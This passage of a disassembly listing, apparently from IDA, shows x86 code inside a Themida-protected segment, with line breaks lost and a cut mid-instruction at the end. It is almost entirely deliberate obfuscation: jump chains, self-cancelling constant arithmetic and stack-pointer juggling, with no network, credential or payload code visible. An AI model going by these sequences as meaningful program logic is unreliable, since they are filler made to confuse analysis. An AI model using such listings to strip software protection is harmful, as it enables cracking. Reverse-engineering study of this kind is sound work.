FUNCTION CHUNK AT 00566CE6 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00566E3C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005685C5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00568A27 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056C643 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056D7C0 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056F69E SIZE 00000024 BYTES sub esp, 4 mov [esp+4+var_4], esi mov esi, esp push ebx jmp loc_55E2E7 sub_56B774 endp ; --------------------------------------------------------------------------- loc_56B782: ; CODE XREF: Themida_:0055E3ACj push edx mov dh, 41h sub esp, 4 mov [esp], edx mov dl, 0E3h mov cl, 1Ch jmp loc_55EE37 ; --------------------------------------------------------------------------- loc_56B794: ; CODE XREF: Themida_:005703ACj push esp pop ecx jmp loc_56A558 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B79B: ; CODE XREF: sub_56755A-4F6Cj xor ecx, 4BBCC0DDh sub eax, ecx pop ecx sub eax, ecx add eax, 31193A72h sub eax, 32267602h jmp loc_56295D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56B7B5: ; CODE XREF: Themida_:0056AEE6j neg edx neg edx jmp loc_565299 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A500 loc_56B7BE: ; CODE XREF: sub_56A500+706j add edi, esi jmp loc_56A11D ; END OF FUNCTION CHUNK FOR sub_56A500 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B7C5: ; CODE XREF: sub_56755A-62Aj push esp mov eax, [esp+0Ch+var_C] add esp, 4 push ebx mov ebx, 4 sub eax, 37623528h jmp loc_5655CC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56B7DC: ; CODE XREF: sub_56F7FC-E356j add ecx, ebx pop ebx add [esp-0Ch+arg_C], 22D17211h sub [esp-0Ch+arg_C], ecx sub [esp-0Ch+arg_C], 22D17211h push [esp-0Ch+arg_8] jmp loc_56B4E7 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D600 loc_56B7FB: ; CODE XREF: sub_56D600-6245j push esp jmp loc_565B47 ; END OF FUNCTION CHUNK FOR sub_56D600 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CAA loc_56B801: ; CODE XREF: sub_560CAA-4C3Bj pop edx mov ecx, [esp+8+var_8] add esp, 4 dec ecx push edx jmp loc_55E242 ; END OF FUNCTION CHUNK FOR sub_560CAA ; =============== S U B R O U T I N E ======================================= sub_56B812 proc near ; CODE XREF: sub_55DA88+7C55j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C23C SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00565DD0 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00568B2E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056D580 SIZE 00000015 BYTES sub esp, 4 mov [esp+4+var_4], edi push 14C5h jmp loc_55C23C sub_56B812 endp ; --------------------------------------------------------------------------- loc_56B822: ; CODE XREF: Themida_:00565219j mov [esp], eax push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp push esp pop dword ptr [esp] jmp loc_56C54D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B841: ; CODE XREF: sub_56755A-95AFj sub ecx, 0FFFFFFFFh shr ecx, 5 push esi push 57A45D68h pop esi inc esi push ecx mov ecx, 6FA73CA8h push ebp push edx jmp loc_56D7EC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56B85C: ; CODE XREF: Themida_:00564E76j push esi jmp loc_561F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B862: ; CODE XREF: sub_56755A+31F5j pop ecx shr ecx, 2 shl ecx, 7 inc ecx sub ecx, 48BC6D8Bh jmp loc_5671AB ; --------------------------------------------------------------------------- loc_56B875: ; CODE XREF: sub_56755A+7FFEj mov edx, [esp+1Ch+var_1C] add esp, 4 push [esp+18h+var_18] mov ecx, [esp+1Ch+var_1C] add esp, 4 add esp, 4 xor al, bl pop ebx push ebp mov ebp, esp jmp loc_563DD9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C65 loc_56B895: ; CODE XREF: sub_566C65+8495j push edx mov edx, 6BE471CDh add ecx, edx pop edx jmp loc_55E945 ; END OF FUNCTION CHUNK FOR sub_566C65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_56B8A3: ; CODE XREF: sub_55D71E+CE78j mov ah, dl jmp loc_560A15 ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B8AA: ; CODE XREF: sub_56755A-3B7Ej xor ebx, [esp+1Ah+var_1C+2] xor [esp+1Ah+var_1C+2], ebx xor ebx, [esp+1Ah+var_1C+2] pop esp jmp loc_567376 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56B8B9: ; CODE XREF: Themida_:00569E99j pop ecx add ebx, 250577E4h add ebx, ebp jmp loc_564E37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_56B8C7: ; CODE XREF: sub_56026A+48B4j pop esp mov [esp+0Ch+var_C], esp add [esp+0Ch+var_C], 4 pop ecx jmp loc_561465 ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE6C loc_56B8D5: ; CODE XREF: sub_56AE6C+1j push 5E20h mov [esp+8+var_8], edx mov dl, 0D4h push eax jmp loc_567FEC ; END OF FUNCTION CHUNK FOR sub_56AE6C ; --------------------------------------------------------------------------- loc_56B8E5: ; CODE XREF: Themida_:0055BF46j mov bh, 0D7h jmp loc_5645BB ; --------------------------------------------------------------------------- mov cx, [esp] push 7F23h mov [esp], ebx push 184Eh sub esp, 4 mov [esp], esp jmp loc_56881C ; --------------------------------------------------------------------------- loc_56B908: ; CODE XREF: Themida_:00568A8Dj mov ebp, 658A4795h push edi jmp loc_5630E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B913: ; CODE XREF: sub_56755A-8290j mov eax, 170F4FDAh add eax, 0E8F0B02Ah sub ebx, 471F142Eh add ebx, eax add ebx, 471F142Eh pop eax jmp loc_561EA2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56B931: ; CODE XREF: Themida_:005633A1j jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56B936: ; CODE XREF: Themida_:0055BC9Cj mov ebx, 3BB16F92h mov ecx, 2D21F95Bh add ecx, 4EAC1435h add ecx, ebx sub ecx, 4EAC1435h jmp loc_56A813 ; --------------------------------------------------------------------------- loc_56B953: ; CODE XREF: Themida_:00568FE1j xor [esp], ebp xor ebp, [esp] jmp loc_56C8D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D164 loc_56B95E: ; CODE XREF: sub_56D164-5C46j push esp mov ebp, [esp+0] push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+4+var_4] pop esp mov [esp+0], eax jmp loc_564132 ; END OF FUNCTION CHUNK FOR sub_56D164 ; --------------------------------------------------------------------------- loc_56B97D: ; CODE XREF: Themida_:0056EA6Aj add esi, 4 push ecx mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] pop esp sub esp, 4 mov [esp], ebx push ebp push esi jmp loc_56EAB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B99D: ; CODE XREF: sub_56755A-A842j add ebp, edx pop edx push eax push ecx mov ecx, 3A62734h mov eax, ecx pop ecx jmp loc_55D545 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56B9AF: ; CODE XREF: Themida_:0055F929j mov ecx, 4 jmp loc_5691EA ; --------------------------------------------------------------------------- loc_56B9B9: ; CODE XREF: Themida_:00566743j xor edi, 1F7B0F39h and edi, 4A0F62F8h inc edi xor edi, 6C980023h add ebp, edi jmp loc_5652A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_56B9D3: ; CODE XREF: sub_56CB7D-1FB3j mov edi, 4 add ebp, edi pop edi xchg ebp, [esp+18h+var_18] pop esp push edi mov edi, 0FFFFFFFFh add edx, edi push [esp+18h+var_18] pop edi jmp loc_562F31 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_56B9F0: ; CODE XREF: Themida_:00568744j push ebp push edx mov edx, 6AF52CF3h sub esp, 4 mov [esp], edi mov edi, 1D651FF6h mov ebp, 558F93BEh push ecx mov ecx, 73BE7752h jmp loc_567CCF ; =============== S U B R O U T I N E ======================================= sub_56BA15 proc near ; CODE XREF: sub_56755A-97FEj ; FUNCTION CHUNK AT 00560956 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056845A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005699D9 SIZE 0000000D BYTES push ebx jmp loc_5699D9 sub_56BA15 endp ; --------------------------------------------------------------------------- loc_56BA1B: ; CODE XREF: Themida_:00567301j push ecx push eax jmp loc_560D84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BA22: ; CODE XREF: sub_56755A-B399j mov [esp+0], edx push 2670h jmp loc_56C6C2 ; --------------------------------------------------------------------------- loc_56BA2F: ; CODE XREF: sub_56755A+580Fj mov ecx, esp add ecx, 4 jmp loc_567F91 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56BA3C: ; CODE XREF: Themida_:0055F4ECj sub esp, 4 mov [esp], edx jmp loc_564F02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560D65 loc_56BA47: ; CODE XREF: sub_560D65-2C9Ej mov ebx, 780037D7h inc ebx dec ebx and ebx, 4C6C35C8h and ebx, 180F693Ah sub ebx, 8AD0E2Dh xor ebx, 0A2385B11h jmp loc_568D65 ; END OF FUNCTION CHUNK FOR sub_560D65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BA6B: ; CODE XREF: sub_56755A+55AFj push [esp+4+var_4] push [esp+8+var_8] jmp loc_56EB09 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56BA76: ; CODE XREF: Themida_:0056711Dj inc esi push ecx mov ecx, 45590061h add esi, ecx pop ecx xor edx, esi push dword ptr [esp] jmp loc_56B4C7 ; --------------------------------------------------------------------------- loc_56BA8A: ; CODE XREF: Themida_:0056331Dj push dword ptr [esp] pop eax push eax mov eax, esp push edi mov edi, 4 add eax, edi pop edi sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx jmp loc_56D24E ; --------------------------------------------------------------------------- loc_56BAA9: ; CODE XREF: Themida_:005632D3j add ebx, 0ADA273CDh push 49DBh mov [esp], ebx pop edi jmp loc_56C15F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C4A loc_56BABD: ; CODE XREF: sub_565C4A-68D6j add esi, 4E25518Eh mov ecx, esi pop esi push ecx jmp loc_55BDA9 ; END OF FUNCTION CHUNK FOR sub_565C4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BACC: ; CODE XREF: sub_56755A-9E66j mov eax, 0 sub eax, ebp xchg eax, ebp mov eax, [esp+18h+var_18] add esp, 4 not ebp dec ebp not ebp add ebp, 0A736F785h add esi, ebp pop ebp mov ebx, esi push [esp+10h+var_10] jmp loc_562E20 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push 2574h mov [esp], eax push ebp jmp loc_56872B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BB00: ; CODE XREF: sub_56755A+47F2j add eax, 4 add eax, 4 xchg eax, [esp+14h+var_14] pop esp xchg esi, [esp+10h+var_10] mov esp, [esp+10h+var_10] jmp loc_56AF88 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56BB19: ; CODE XREF: Themida_:0055FB5Bj or ecx, edi jmp loc_55E8FC ; --------------------------------------------------------------------------- loc_56BB20: ; CODE XREF: Themida_:0056332Cj add esp, 4 sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], edx mov edx, 4 push 647Bh mov [esp], ebp mov ebp, edx mov ecx, ebp jmp loc_56F367 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BB4B: ; CODE XREF: sub_56755A-3FE3j push 4 pop edi add ebx, edi mov edi, [esp-24h+arg_20] add esp, 4 jmp sub_55F5D6 ; --------------------------------------------------------------------------- loc_56BB61: ; CODE XREF: sub_56755A+694j pop esp mov [esp+28h+var_28], esi push eax jmp loc_5654C0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56BB6B: ; CODE XREF: Themida_:0056FAA6j mov [esp], ecx push dword ptr [esp+4] jmp loc_56022A ; --------------------------------------------------------------------------- loc_56BB77: ; CODE XREF: Themida_:0056DDE3j sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], eax jmp loc_55B74F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_56BB8C: ; CODE XREF: sub_56CB1B-AB31j xor ebx, ecx jmp loc_567088 ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BB93: ; CODE XREF: sub_56755A+56A6j add edi, 4 xor edi, [esp+2Ch+var_2C] xor [esp+2Ch+var_2C], edi xor edi, [esp+2Ch+var_2C] pop esp jmp loc_560080 ; --------------------------------------------------------------------------- loc_56BBA8: ; CODE XREF: sub_56755A-A135j xchg ecx, [esp+2Ch+var_2C] not ecx jmp loc_5678F6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_56BBB2: ; CODE XREF: sub_565269+6D42j add esi, 4 add esi, 4 xchg esi, [esp+8+var_8] pop esp add esp, 4 or edx, eax shl edx, 1 push esi sub esp, 4 mov [esp+8+var_8], edx jmp loc_5660DC ; END OF FUNCTION CHUNK FOR sub_565269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BBD8: ; CODE XREF: sub_56755A-3C2Cj mov edx, 1A1975B1h sub ebx, edx push [esp+12h+var_14+2] pop edx add esp, 4 sub ebx, 3347C39h jmp loc_5690D4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56BBF1: ; CODE XREF: Themida_:0055BB6Ej add dword ptr [esp], 4 pop ecx jmp loc_56FE00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BBFE: ; CODE XREF: sub_56755A+4CADj push edi mov edi, 24C47E06h add edi, 76396544h add edi, 65021CBAh add esi, edi pop edi jmp loc_561FEF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56BC18: ; CODE XREF: Themida_:0056086Dj add eax, 7180A06h add ecx, 306044CFh add ecx, eax jmp loc_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BC2A: ; CODE XREF: sub_56755A+7B62j xor ebp, [esp+0Eh+var_10+2] xor [esp+0Eh+var_10+2], ebp xor ebp, [esp+0Eh+var_10+2] jmp loc_55C9D3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov cx, [esp] push 75DAh jmp loc_563449 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BC46: ; CODE XREF: sub_56755A-1D2Fj add edx, 27945F60h push ecx mov ecx, 355734F6h or ecx, 2FB7619Bh xor ecx, 32D57225h add ecx, 1EC06403h jmp loc_56621F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56BC69: ; CODE XREF: Themida_:0055FA7Ej mov ecx, [esp] add esp, 4 add ecx, 4 jmp loc_5704B3 ; --------------------------------------------------------------------------- loc_56BC7D: ; CODE XREF: Themida_:0055ED66j push esi mov esi, 43434901h jmp loc_56823D ; --------------------------------------------------------------------------- loc_56BC88: ; CODE XREF: Themida_:0056E1D3j pop edx add edx, 4 add edx, 2 push 2166h mov [esp], edx push dword ptr [esp+4] mov edx, [esp] jmp loc_56C032 ; --------------------------------------------------------------------------- loc_56BCA6: ; CODE XREF: Themida_:0056E06Bj add ecx, 406E75D6h or ecx, 6B112F24h add ecx, 2F4C79E3h add eax, ecx jmp loc_5639E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BCBF: ; CODE XREF: sub_56755A-411Fj add eax, ecx sub esp, 4 mov [esp-18h+arg_14], edx jmp loc_564E96 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56BCCC: ; CODE XREF: Themida_:0055E332j push ebp jmp loc_566ABC ; --------------------------------------------------------------------------- loc_56BCD2: ; CODE XREF: Themida_:0055D3F4j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push 6B87h mov [esp], ecx mov ecx, 4 sub esp, 4 mov [esp], ebx push ebp mov ebp, 5CFF4510h mov ebx, ebp pop ebp jmp loc_56A143 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BD10: ; CODE XREF: sub_56755A+8EA0j mov ebp, ebx pop ebx pop ecx xor [esp-20h+arg_20], ebp pop ebp push [esp-24h+arg_20] mov ebx, [esp-20h+arg_1C] push esi sub esp, 4 jmp loc_568403 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56BD28: ; CODE XREF: Themida_:0056A42Bj sub ebx, edx xchg ebx, edx jmp loc_567961 ; --------------------------------------------------------------------------- loc_56BD31: ; CODE XREF: Themida_:0055D6ABj pop eax add eax, 4 sub esp, 4 jmp loc_564B99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BD42: ; CODE XREF: sub_56755A+3C5j push 65F6h mov [esp-4+arg_0], eax mov eax, esp jmp loc_56BB00 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56BD51: ; CODE XREF: Themida_:00564F7Dj pop dword ptr [esp] pop esp pop dword ptr [esp] mov esp, [esp] inc byte ptr [esp] pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BD64: ; CODE XREF: sub_56755A-74BAj xor edx, [esp+4+var_4] jmp loc_55E6E7 ; --------------------------------------------------------------------------- loc_56BD6C: ; CODE XREF: sub_56755A+1785j xor ecx, [esp+1Ch+var_1C] pop esp mov ebx, [esp+18h+var_18] add esp, 4 pop dword ptr [edi+24h] ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56BD7C proc near ; CODE XREF: sub_56755A+4B23j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebx push [esp+4+var_4] pop eax push edx mov edx, esp jmp sub_55CD7B sub_56BD7C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_56BD8E: ; CODE XREF: sub_566504-6270j mov edx, ecx pop ecx pop edi add edx, 428C63B8h add edx, 300B6633h add edx, eax sub edx, 300B6633h push ebx mov ebx, 67AB0B75h jmp loc_565E04 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E54A loc_56BDB1: ; CODE XREF: sub_55E54A-2A43j mov [esp+6+var_8+2], ebx sub esp, 4 push esp pop [esp+0Eh+var_10+2] jmp loc_55CFED ; END OF FUNCTION CHUNK FOR sub_55E54A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BDC0: ; CODE XREF: sub_56755A-984Ej add eax, 4 add eax, 4 jmp loc_565A54 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56BDCD: ; CODE XREF: Themida_:00569DDBj sub edi, 9BD4427Ch xor ebp, edi pop edi mov ebx, ebp pop ebp xor esi, ebx jmp loc_56E6C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A500 loc_56BDE0: ; CODE XREF: sub_56A500+6j mov [esp+4+var_4], esi push 6837h mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp+4+var_4] mov esp, [esp+4+var_4] sub [edi+24h], edx mov edx, [esp+0] push edi mov edi, esp sub esp, 4 mov [esp+8+var_8], ebx mov ebx, 4 add edi, ebx jmp loc_56ABFF ; END OF FUNCTION CHUNK FOR sub_56A500 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E99C loc_56BE1D: ; CODE XREF: sub_55E99C+1A5Fj neg ebp add ebp, 7DC541B9h push edi mov edi, 33E203F0h jmp loc_5687D5 ; END OF FUNCTION CHUNK FOR sub_55E99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BE30: ; CODE XREF: sub_56755A-5DDFj add ebx, 4 xchg ebx, [esp+34h+var_34] pop esp push edx push 4 jmp loc_5631B9 ; --------------------------------------------------------------------------- loc_56BE42: ; CODE XREF: sub_56755A-90D6j sub eax, 65A5406Bh sub eax, ebx jmp loc_5639F2 ; --------------------------------------------------------------------------- loc_56BE4E: ; CODE XREF: sub_56755A-2209j add esp, 4 jmp loc_5685F6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56BE59: ; CODE XREF: Themida_:005624BCj mov [esp], esi mov esi, 1CA200BEh push edi mov edi, 520915C2h inc edi add edi, 115740B8h xor esi, edi jmp loc_569301 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BE75: ; CODE XREF: sub_56755A+89DCj pop esp jmp sub_55FDDC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_56BE7B: ; CODE XREF: sub_56E55E+13F5j push [esp+8+var_8] mov edx, [esp+0Ch+var_C] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+10h+var_10] jmp loc_55F509 ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- loc_56BE95: ; CODE XREF: Themida_:0055BD38j pop esp mov [esp], ecx mov ch, 5 add ch, 52h add ch, 3Eh add ch, 0AEh dec ch jmp loc_561CC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5664A8 loc_56BEAB: ; CODE XREF: sub_5664A8+9j sub dword ptr [esp+4], 76EC3634h sub dword ptr [esp+4], 1E3F755Fh add [esp+4], ebp add dword ptr [esp+4], 1E3F755Fh jmp loc_55EA6A ; END OF FUNCTION CHUNK FOR sub_5664A8 ; --------------------------------------------------------------------------- loc_56BECC: ; CODE XREF: Themida_:005633FEj shr ebp, 8 not ebp sub ebp, 0BEB265AAh add esi, 0F9921FFh add esi, ebp sub esi, 0F9921FFh mov ebp, [esp] add esp, 4 push edi mov edi, 4C764E95h jmp loc_566FC3 ; --------------------------------------------------------------------------- loc_56BEF9: ; CODE XREF: Themida_:0055EDA0j push edi mov edi, 4 add ebx, edi pop edi xor ebx, [esp] xor [esp], ebx jmp loc_56E9CF ; --------------------------------------------------------------------------- loc_56BF0D: ; CODE XREF: Themida_:0055E1EFj xchg ebp, [esp] pop esp mov [esp], ecx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] push edi mov edi, esp push ecx mov ecx, 25D7372Bh not ecx and ecx, 4336130Eh xor ecx, 42200000h add edi, ecx pop ecx add edi, 4 xchg edi, [esp] mov esp, [esp] push ebp push 1157h jmp loc_5629F7 ; --------------------------------------------------------------------------- loc_56BF59: ; CODE XREF: Themida_:0056DD48j mul ecx jmp loc_567B37 ; --------------------------------------------------------------------------- loc_56BF60: ; CODE XREF: Themida_:0055CAC0j pop ebx xor dh, ah pop eax sub dh, 5Bh push edx mov edx, esp add edx, 4 jmp loc_563A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569496 loc_56BF75: ; CODE XREF: sub_569496-4567j pop ecx shr cl, 1 add cl, 67h jmp loc_56C4E9 ; END OF FUNCTION CHUNK FOR sub_569496 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DD27 loc_56BF80: ; CODE XREF: sub_55DD27+4029j mov ebp, [esp+0Ch+var_C] jmp sub_56D83A ; END OF FUNCTION CHUNK FOR sub_55DD27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BF88: ; CODE XREF: sub_56755A+F6Cj sub edx, 69DA4526h neg edx xor edx, 5F041A20h sub edx, 45AD3F09h jmp loc_55DD59 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56BFA1 proc near ; CODE XREF: sub_56885A+2209j push ebp jmp sub_565C92 sub_56BFA1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_56BFA7: ; CODE XREF: sub_565269+4CFEj pop esi push esi mov esi, esp jmp loc_56BBB2 ; END OF FUNCTION CHUNK FOR sub_565269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56BFB0: ; CODE XREF: sub_56755A-3CE6j shl al, 7 dec al add al, 1Eh or cl, al mov eax, [esp+1Eh+var_20+2] add esp, 4 push 11FFh mov [esp+1Eh+var_20+2], ebx mov bl, 0B8h jmp loc_55C412 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_56BFD1: ; CODE XREF: sub_560B67+1452j or ebx, 2E20318Eh neg ebx neg ebx sub ebx, 3EF179DAh add ebp, ebx pop ebx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop [esp+4+var_4] mov esp, [esp+0] shr eax, 0Eh jmp loc_565B9B ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- loc_56BFFB: ; CODE XREF: Themida_:005666BDj pop cx jmp loc_56A780 ; --------------------------------------------------------------------------- loc_56C002: ; CODE XREF: Themida_:00565F2Cj mov [esp], esi push 4 pop esi mov ebx, esi jmp loc_5601B8 ; --------------------------------------------------------------------------- loc_56C012: ; CODE XREF: Themida_:0056932Dj mov eax, 330826CAh or eax, 2251797Bh dec eax not eax jmp loc_56435C ; =============== S U B R O U T I N E ======================================= sub_56C024 proc near ; CODE XREF: sub_56755A-16D3j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005626AA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056DB6E SIZE 00000025 BYTES sub esp, 4 mov [esp+4+var_4], ecx jmp loc_5626AA sub_56C024 endp ; --------------------------------------------------------------------------- loc_56C032: ; CODE XREF: Themida_:0056BCA1j push ecx push esp pop ecx push ebx mov ebx, 4EBF5A92h shl ebx, 2 shr ebx, 3 jmp loc_56E2B8 ; --------------------------------------------------------------------------- loc_56C046: ; CODE XREF: Themida_:0056E87Bj sub al, bl jmp loc_566196 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F185 loc_56C04D: ; CODE XREF: sub_55F185+AFF6j dec esi add esi, 820BDF8Dh xor eax, esi mov esi, [esp+4+var_4] jmp loc_567E86 ; END OF FUNCTION CHUNK FOR sub_55F185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C05E: ; CODE XREF: sub_56755A+129Ej push eax mov eax, 97C41ABh sub ecx, eax pop eax sub ebx, ecx pop ecx mov eax, ebx pop ebx jmp loc_566877 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_56C072: ; CODE XREF: sub_56971C-5484j mov esi, [esp+10h+var_10] jmp loc_563A6F ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56C07A: ; CODE XREF: sub_56755A+1D13j pop edi or eax, eax jz sub_56BD7C push dword ptr [edi+1Ch] push [esp+0Ch+var_C] pop ecx sub esp, 4 mov [esp+10h+var_10], edi jmp loc_56D63E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56C095: ; CODE XREF: Themida_:0055ECEFj add ebx, ecx add ebx, 228B4663h push dword ptr [esp] pop ecx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push edi jmp loc_55EA34 ; --------------------------------------------------------------------------- loc_56C0BA: ; CODE XREF: Themida_:0055ED6Cj mov 